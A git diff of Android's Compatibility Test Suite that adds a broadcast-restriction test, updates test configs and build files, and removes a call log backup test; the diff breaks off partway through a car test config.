diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
new file mode 100644
index 0000000..9d41ad8
--- /dev/null
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts.backgroundrestrictions;
+
+import static junit.framework.Assert.assertFalse;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
+import java.util.function.Consumer;
+
+@RunWith(AndroidJUnit4.class)
+public class BroadcastsTest {
+    private static final String TAG = "BroadcastsTest";
+
+    private final int BROADCASTS_TIMEOUT_SECOND = 3 * 60;
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    /**
+     * Make sure "com.android.launcher.action.INSTALL_SHORTCUT" won't be delivered to a runtime
+     * receiver.
+     */
+    @Test
+    public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
+
+        // Need a reference here to initialize it in a lambda.
+        final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
+
+        testNonSupportedBroadcastsNotDelivered(
+                (filter, callback) -> {
+                    final BroadcastReceiver receiver = new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent intent) {
+                            callback.accept(intent);
+                        }
+                    };
+                    receiverRef.set(receiver);
+
+                    getContext().registerReceiver(receiver, filter);
+                },
+                (intent) -> {},
+                () -> getContext().unregisterReceiver(receiverRef.get()));
+    }
+
+    /**
+     * Make sure "com.android.launcher.action.INSTALL_SHORTCUT" won't be delivered to a manifest
+     * receiver, even if an intent is targeted to the component.
+     */
+    @Test
+    public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
+        // Need a reference here to initialize it in a lambda.
+        final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
+
+        testNonSupportedBroadcastsNotDelivered(
+                (filter, callback) -> {
+                    MyReceiver.setCallback((intent) -> callback.accept(intent));
+                },
+                (intent) -> intent.setComponent(MyReceiver.getComponent()),
+                () -> MyReceiver.clearCallback());
+    }
+
+    private void testNonSupportedBroadcastsNotDelivered(
+            BiConsumer<IntentFilter, Consumer<Intent>> receiverInitializer,
+            Consumer<Intent> intentInitializer,
+            Runnable receiverDeinitializer) throws Exception {
+        // This broadcast should be delivered.
+        final String[] UNSUPPORTED_BROADCASTS = new String[]{
+                "com.android.launcher.action.INSTALL_SHORTCUT",
+        };
+        // These broadcasts should be delivered.
+        final String[] SUPPORTED_BROADCASTS = new String[]{
+                Intent.ACTION_VIEW,
+                Intent.ACTION_SEND,
+        };
+        final String[][] ALL_BROADCASTS = new String[][]{
+                UNSUPPORTED_BROADCASTS,
+                SUPPORTED_BROADCASTS,
+        };
+
+        // GuardedBy receivedBroadcasts
+        final ArrayList<String> receivedBroadcasts = new ArrayList<>();
+
+        final CountDownLatch latch = new CountDownLatch(SUPPORTED_BROADCASTS.length);
+
+        // Register a receiver for all the actions.
+        final IntentFilter filter = new IntentFilter();
+        for (String[] list : ALL_BROADCASTS) {
+            for (String action : list) {
+                filter.addAction(action);
+            }
+        }
+
+        // This is what's called when a receiver receives an intent.
+        final Consumer<Intent> callbackHandler = (intent) -> {
+            Log.i(TAG, "Intent " + intent + " received.");
+            synchronized (receivedBroadcasts) {
+                receivedBroadcasts.add(intent.getAction());
+            }
+
+            latch.countDown();
+        };
+
+        receiverInitializer.accept(filter, callbackHandler);
+        try {
+            // Send all broadcasts one by one.
+            for (String[] list : ALL_BROADCASTS) {
+                for (String action : list) {
+                    final Intent intent = new Intent(action)
+                        .setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+
+                    intentInitializer.accept(intent);
+
+                    getContext().sendBroadcast(intent);
+                }
+            }
+            assertTrue(latch.await(BROADCASTS_TIMEOUT_SECOND, TimeUnit.SECONDS));
+
+            final String history =
+                    SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "dumpsys activity broadcasts history");
+            Log.v(TAG, "Broadcast history:\n");
+            for (String line : history.split("\n")) {
+                Log.v(TAG, line);
+            }
+
+
+            // Verify the received lists.
+            // The supported ones should be delivered, and show up in the history.
+            // The unsupported should not.
+            synchronized (receivedBroadcasts) {
+                for (String action : SUPPORTED_BROADCASTS) {
+                    assertTrue(receivedBroadcasts.contains(action));
+                    assertTrue(history.contains(action));
+                }
+
+                for (String action : UNSUPPORTED_BROADCASTS) {
+                    assertFalse(receivedBroadcasts.contains(action));
+                    assertFalse(history.contains(action));
+                }
+            }
+
+        } finally {
+            receiverDeinitializer.run();
+        }
+    }
+}
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
new file mode 100644
index 0000000..cb05a00
--- /dev/null
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/MyReceiver.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts.backgroundrestrictions;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
+
+public class MyReceiver extends BroadcastReceiver {
+
+    private static final AtomicReference<Consumer<Intent>> sCallback
+            = new AtomicReference<>();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final Consumer<Intent>callback = sCallback.get();
+        if (callback != null) {
+            callback.accept(intent);
+        }
+    }
+
+    public static void setCallback(Consumer<Intent> callback) {
+        sCallback.set(callback);
+    }
+
+    public static void clearCallback() {
+        sCallback.set(null);
+    }
+
+    public static ComponentName getComponent() {
+        return new ComponentName(InstrumentationRegistry.getContext(), MyReceiver.class);
+    }
+}
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index 30717da0..ce13307 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Bionic test cases">
+    <option name="config-descriptor:metadata" key="component" value="bionic" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsBionicTestCases->/data/local/tmp/CtsBionicTestCases" />
@@ -27,6 +28,6 @@
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsBionicTestCases" />
-        <option name="runtime-hint" value="1m10s" />
+        <option name="runtime-hint" value="12m10s" />
     </test>
 </configuration>
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index 8faf318..c02b23d 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,8 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_JAVA_LIBRARIES += android.test.runner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index fb4b205..971d011 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Bluetooth test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="bluetooth" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBluetoothTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index fd1c7d2..066de74 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -28,6 +28,7 @@
 import android.content.pm.PackageManager;
 import android.os.ParcelUuid;
 import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
@@ -85,6 +86,9 @@
         if (!mLocationOn) {
             TestUtils.enableLocation(getContext());
         }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "pm grant android.bluetooth.cts android.permission.ACCESS_COARSE_LOCATION"
+        );
     }
 
     @Override
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index 610314f..3011ded 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -25,7 +25,9 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 65f2d7a..384d1b8 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Calendar test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCalendarcommon2TestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.calendarcommon2.cts" />
+        <option name="runtime-hint" value="8m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/calllog/Android.mk b/tests/tests/calllog/Android.mk
deleted file mode 100644
index df20aa5..0000000
--- a/tests/tests/calllog/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCallLogTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
-
-LOCAL_JAVA_LIBRARIES := bouncycastle
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/calllog/AndroidManifest.xml b/tests/tests/calllog/AndroidManifest.xml
deleted file mode 100644
index d66559f..0000000
--- a/tests/tests/calllog/AndroidManifest.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.calllog.cts">
-    <uses-sdk android:minSdkVersion="21" />
-
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.calllog.cts"
-                     android:label="CTS tests for android.calllog package">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-</manifest>
-
diff --git a/tests/tests/calllog/AndroidTest.xml b/tests/tests/calllog/AndroidTest.xml
deleted file mode 100644
index 408aaac..0000000
--- a/tests/tests/calllog/AndroidTest.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Call Log test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsCallLogTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.calllog.cts" />
-    </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/tests/calllog/src/android/calllog/cts/CallLogBackupTest.java b/tests/tests/calllog/src/android/calllog/cts/CallLogBackupTest.java
deleted file mode 100644
index 1ae735a..0000000
--- a/tests/tests/calllog/src/android/calllog/cts/CallLogBackupTest.java
+++ /dev/null
@@ -1,337 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.calllog.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.provider.CallLog;
-import android.provider.CallLog.Calls;
-import android.provider.Settings;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Objects;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Verifies the behavior of CallLogBackup.
- *
- * This tests three import things:
- * 1. That call log gets backed up and restored using the standard BackupAgent implementation.
- *     - To test we create call-log entries back them up, clear the call log, and restore them.
- *     - We leverage the LocalTransport backup implementation to do this.
- * 2. The call log backup is implemented by the expected package: {@link #CALLLOG_BACKUP_PACKAGE}.
- *     - We always trigger the expected package for backup/restore within the tests.
- * 3. The backup format for call log is as expected so that backup works across android devices
- *    by different OEMs.
- *     - We peek into the backup files saved by LocalTransport and verify their binary output is
- *       as expected.
- */
-public class CallLogBackupTest extends InstrumentationTestCase {
-    private static final String TAG = "CallLogBackupTest";
-
-    private static final String LOCAL_BACKUP_COMPONENT =
-            "android/com.android.internal.backup.LocalTransport";
-
-    private static final String CALLLOG_BACKUP_PACKAGE = "com.android.providers.calllogbackup";
-    private static final String ALT_CALLLOG_BACKUP_PACKAGE = "com.android.calllogbackup";
-
-    private static final String TEST_NUMBER = "555-1234";
-    private static final int CALL_START_TIME = 0;
-    private static final int CALL_DURATION = 2000;
-    private static final int TIMEOUT_BACKUP = 10000;
-    private static final String TEST_POST_DIAL_DIGITS = ";1234";
-    private static final String TEST_VIA_NUMBER = "555-1112";
-
-    private static final Pattern BMGR_ENABLED_PATTERN = Pattern.compile(
-            "^Backup Manager currently (enabled|disabled)$");
-
-    private static final String[] CALL_LOG_PROJECTION = new String[] {
-        CallLog.Calls._ID,
-        CallLog.Calls.DATE,
-        CallLog.Calls.DURATION,
-        CallLog.Calls.NUMBER,
-        CallLog.Calls.TYPE,
-        CallLog.Calls.COUNTRY_ISO,
-        CallLog.Calls.GEOCODED_LOCATION,
-        CallLog.Calls.NUMBER_PRESENTATION,
-        CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME,
-        CallLog.Calls.PHONE_ACCOUNT_ID,
-        CallLog.Calls.DATA_USAGE,
-        CallLog.Calls.FEATURES,
-        CallLog.Calls.POST_DIAL_DIGITS,
-        CallLog.Calls.VIA_NUMBER
-    };
-
-    protected interface Condition {
-        Object expected();
-        Object actual();
-    }
-
-    class Call {
-        int id;
-        long date;
-        long duration;
-        String number;
-        int type;
-        String phoneAccountComponent;
-        String phoneAccountId;
-        int presentation;
-        String postDialDigits;
-        String viaNumber;
-    }
-
-    private String mCallLogBackupPackageName;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        PackageManager pm = getContext().getPackageManager();
-        try {
-            pm.getPackageInfo(CALLLOG_BACKUP_PACKAGE, 0);
-            mCallLogBackupPackageName = CALLLOG_BACKUP_PACKAGE;
-        } catch (PackageManager.NameNotFoundException e) {
-            mCallLogBackupPackageName = ALT_CALLLOG_BACKUP_PACKAGE;
-        }
-    }
-
-    /**
-     * Test:
-     *   1) Clear the call log
-     *   2) Add a single call
-     *   3) Run backup
-     *   4) clear the call log
-     *   5) Run restore
-     *   6) Verify that we the call from step (2)
-     */
-    public void testSingleCallBackup() throws Exception {
-        if (!getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.i(TAG, "Skipping calllog tests: no telephony feature");
-            return;
-        }
-        // This CTS test depends on the local transport and so if it is not present,
-        // skip the test with success.
-        if (!hasBackupTransport(LOCAL_BACKUP_COMPONENT)) {
-            Log.i(TAG, "skipping calllog tests: no local transport");
-            return;
-        }
-
-        // Turn on backup and set to the local backup agent.
-        boolean previouslyEnabled = enableBackup(true /* enable */);
-        String oldTransport = setBackupTransport(LOCAL_BACKUP_COMPONENT);
-        int previousFullDataBackupAware = Settings.Secure.getInt(getContext().getContentResolver(),
-                "user_full_data_backup_aware", 0);
-        enableFullDataBackupAware(1);
-
-        // Clear the call log
-        Log.i(TAG, "Clearing the call log");
-        clearCallLog();
-        clearBackups();
-
-        // Add a single call and verify it exists
-        Log.i(TAG, "Adding a call");
-        addCall();
-        verifyCall();
-
-        // Run backup for the call log (saves the single call).
-        Log.i(TAG, "Running backup");
-        runBackupFor(mCallLogBackupPackageName);
-
-        // Clear the call log and verify that it is empty
-        Log.i(TAG, "Clearing the call log");
-        clearCallLog();
-        assertEquals(0, getCalls().size());
-
-        // Restore from the previous backup and verify we have the new call again.
-        Log.i(TAG, "Restoring the single call");
-        runRestoreFor(mCallLogBackupPackageName);
-
-        verifyCall();
-
-        // Clean up after ourselves
-        clearCallLog();
-
-        // Reset backup manager to original state.
-        Log.i(TAG, "Reseting backup");
-        setBackupTransport(oldTransport);
-        enableBackup(previouslyEnabled);
-        enableFullDataBackupAware(previousFullDataBackupAware);
-    }
-
-    private Call verifyCall() {
-        waitUntilConditionIsTrueOrTimeout(new Condition() {
-            @Override
-            public Object expected() {
-                return 1;
-            }
-
-            @Override
-            public Object actual() {
-                return getCalls().size();
-            }
-        }, TIMEOUT_BACKUP);
-
-        List<Call> calls = getCalls();
-        Call call = calls.get(0);
-        assertEquals(TEST_NUMBER, call.number);
-        assertEquals(CALL_START_TIME, call.date);
-        assertEquals(CALL_DURATION, call.duration);
-        assertEquals(Calls.OUTGOING_TYPE, call.type);
-        assertEquals(TEST_POST_DIAL_DIGITS, call.postDialDigits);
-        assertEquals(TEST_VIA_NUMBER, call.viaNumber);
-        return call;
-    }
-
-    private boolean enableBackup(boolean enable) throws Exception {
-        // Check to see the previous state of the backup service
-        boolean previouslyEnabled = false;
-        String output = exec("bmgr enabled");
-        Matcher matcher = BMGR_ENABLED_PATTERN.matcher(output.trim());
-        if (matcher.find()) {
-            previouslyEnabled = "enabled".equals(matcher.group(1));
-        } else {
-            throw new RuntimeException("Backup output format changed.  No longer matches"
-                    + " expected regex: " + BMGR_ENABLED_PATTERN + "\nactual: '" + output + "'");
-        }
-
-        exec("bmgr enable " + enable);
-        return previouslyEnabled;
-    }
-
-    private void runBackupFor(String packageName) throws Exception {
-        exec("bmgr backupnow " + packageName);
-    }
-
-    private void runRestoreFor(String packageName) throws Exception {
-        exec("bmgr restore " + packageName);
-    }
-
-    private void enableFullDataBackupAware(int status) throws Exception {
-        exec("settings put secure user_full_data_backup_aware " + status);
-    }
-
-    private String setBackupTransport(String transport) throws Exception {
-        String output = exec("bmgr transport " + transport);
-        Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
-        Matcher matcher = pattern.matcher(output);
-        if (matcher.find()) {
-            return matcher.group(1);
-        } else {
-            throw new Exception("non-parsable output setting bmgr transport: " + output);
-        }
-    }
-
-    /**
-     * Checks the list of supported transports and verifies that the specified transport
-     * is included.
-     */
-    private boolean hasBackupTransport(String transport) throws Exception {
-        String output = exec("bmgr list transports");
-        for (String t : output.split(" ")) {
-            if ("*".equals(t)) {
-                // skip the current selection marker.
-                continue;
-            } else if (Objects.equals(transport, t)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private void clearCallLog() {
-        ContentResolver resolver = getContext().getContentResolver();
-        resolver.delete(Calls.CONTENT_URI, null, null);
-    }
-
-    private void clearBackups() throws Exception {
-        exec("bmgr wipe " + LOCAL_BACKUP_COMPONENT + " " + mCallLogBackupPackageName);
-    }
-
-    private void addCall() {
-        ContentValues values = new ContentValues(6);
-        values.put(Calls.NUMBER, TEST_NUMBER);
-        values.put(Calls.NUMBER_PRESENTATION, Calls.PRESENTATION_ALLOWED);
-        values.put(Calls.TYPE, Integer.valueOf(Calls.OUTGOING_TYPE));
-        values.put(Calls.DATE, Long.valueOf(CALL_START_TIME));
-        values.put(Calls.DURATION, Long.valueOf(CALL_DURATION));
-        values.put(Calls.NEW, Integer.valueOf(1));
-        values.put(Calls.POST_DIAL_DIGITS, TEST_POST_DIAL_DIGITS);
-        values.put(Calls.VIA_NUMBER, TEST_VIA_NUMBER);
-
-        getContext().getContentResolver().insert(Calls.CONTENT_URI, values);
-    }
-
-    void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout) {
-        final long start = System.currentTimeMillis();
-        while (!condition.expected().equals(condition.actual())
-                && System.currentTimeMillis() - start < timeout) {
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-                // ignore
-            }
-        }
-        assertEquals(condition.expected(), condition.actual());
-    }
-
-    private List<Call> getCalls() {
-        List<Call> calls = new LinkedList<>();
-
-        ContentResolver resolver = getContext().getContentResolver();
-        Cursor cursor = resolver.query(Calls.CONTENT_URI, CALL_LOG_PROJECTION, null, null, null);
-        if (cursor != null) {
-            try {
-                while (cursor.moveToNext()) {
-                    Call call = new Call();
-                    call.id = cursor.getInt(cursor.getColumnIndex(Calls._ID));
-                    call.number = cursor.getString(cursor.getColumnIndex(Calls.NUMBER));
-                    call.date = cursor.getLong(cursor.getColumnIndex(Calls.DATE));
-                    call.duration = cursor.getLong(cursor.getColumnIndex(Calls.DURATION));
-                    call.type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));
-                    call.phoneAccountComponent = cursor.getString(
-                            cursor.getColumnIndex(Calls.PHONE_ACCOUNT_COMPONENT_NAME));
-                    call.phoneAccountId = cursor.getString(
-                            cursor.getColumnIndex(Calls.PHONE_ACCOUNT_ID));
-                    call.presentation = cursor.getInt(
-                            cursor.getColumnIndex(Calls.NUMBER_PRESENTATION));
-                    call.postDialDigits = cursor.getString(
-                            cursor.getColumnIndex(Calls.POST_DIAL_DIGITS));
-                    call.viaNumber = cursor.getString(
-                            cursor.getColumnIndex(Calls.VIA_NUMBER));
-                    calls.add(call);
-                }
-            } finally {
-                cursor.close();
-            }
-        }
-        return calls;
-    }
-
-    private Context getContext() {
-        return getInstrumentation().getContext();
-    }
-
-    private String exec(String command) throws Exception {
-        return TestUtils.executeShellCommand(getInstrumentation(), command);
-    }
-}
diff --git a/tests/tests/calllog/src/android/calllog/cts/TestUtils.java b/tests/tests/calllog/src/android/calllog/cts/TestUtils.java
deleted file mode 100644
index d2c57a5..0000000
--- a/tests/tests/calllog/src/android/calllog/cts/TestUtils.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.calllog.cts;
-
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.os.Build;
-import android.os.ParcelFileDescriptor;
-import android.telecom.PhoneAccountHandle;
-
-import java.io.BufferedInputStream;
-import java.io.BufferedReader;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
-
-public class TestUtils {
-    /**
-     * Executes the given shell command and returns the output in a string. Note that even
-     * if we don't care about the output, we have to read the stream completely to make the
-     * command execute.
-     */
-    public static String executeShellCommand(Instrumentation instrumentation,
-            String command) throws Exception {
-        BufferedReader br = null;
-        try (InputStream in = executeStreamedShellCommand(instrumentation, command)) {
-            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
-            String str = null;
-            StringBuilder out = new StringBuilder();
-            while ((str = br.readLine()) != null) {
-                out.append(str);
-            }
-            return out.toString();
-        } finally {
-            if (br != null) {
-                closeQuietly(br);
-            }
-        }
-    }
-
-    public static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
-            String command) throws Exception {
-        final ParcelFileDescriptor pfd =
-                instrumentation.getUiAutomation().executeShellCommand(command);
-        return new FileInputStream(pfd.getFileDescriptor());
-    }
-
-    private static void closeQuietly(AutoCloseable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) {
-            }
-        }
-    }
-}
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index c5ede39..cebd099 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
 LOCAL_JAVA_LIBRARIES := android.car
 
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index d82c101..0516a87 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Automotive test cases">
